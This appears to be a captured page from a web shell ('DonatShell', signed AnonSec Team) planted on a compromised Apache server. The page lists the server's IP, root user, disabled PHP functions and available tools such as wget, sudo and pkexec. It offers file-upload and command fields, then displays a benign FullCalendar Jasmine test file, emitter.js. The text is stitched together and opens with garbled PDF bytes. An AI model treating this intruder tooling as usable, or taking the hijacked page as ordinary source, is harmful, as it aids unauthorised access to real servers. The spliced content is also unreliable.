%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/emitter.js
import { EmitterMixin } from '@fullcalendar/core'

describe('emitter', function() {

  it('calls a handler', function() {
    var o = new EmitterMixin()
    var handlers = {
      something: function(arg1, arg2) {
        expect(arg1).toBe(7)
        expect(arg2).toBe(8)
      }
    }
    spyOn(handlers, 'something').and.callThrough()

    o.on('something', handlers.something)
    o.trigger('something', 7, 8)
    expect(handlers.something).toHaveBeenCalled()
  })

  it('calls a handler with context and args', function() {
    var customContext
    customContext = {}
    var o = new EmitterMixin()
    var handlers = {
      something: function(arg1, arg2) {
        expect(this).toBe(customContext)
        expect(arg1).toBe(2)
        expect(arg2).toBe(3)
      }
    }
    spyOn(handlers, 'something').and.callThrough()

    o.on('something', handlers.something)
    o.triggerWith('something', customContext, [ 2, 3 ])
    expect(handlers.something).toHaveBeenCalled()
  })

  it('unbinds with an exact reference', function() {
    var o = new EmitterMixin()
    var handlers = {
      something: function() {}
    }
    spyOn(handlers, 'something')

    o.on('something', handlers.something)
    o.trigger('something')
    expect(handlers.something).toHaveBeenCalled()

    o.off('something', handlers.something)
    o.trigger('something')
    expect(handlers.something.calls.count()).toBe(1)
  })

  it('unbinds all when no reference', function() {
    var o = new EmitterMixin()
    var handlers = {
      something1: function() {},
      something2: function() {}
    }
    spyOn(handlers, 'something1')
    spyOn(handlers, 'something2')

    o.on('something', handlers.something1)
    o.on('something', handlers.something2)

    o.trigger('something')
    expect(handlers.something1).toHaveBeenCalled()
    expect(handlers.something2).toHaveBeenCalled()

    o.off('something')
    o.trigger('something')
    expect(handlers.something1.calls.count()).toBe(1)
    expect(handlers.something2.calls.count()).toBe(1)
  })

})

Anon7 - 2022
AnonSec Team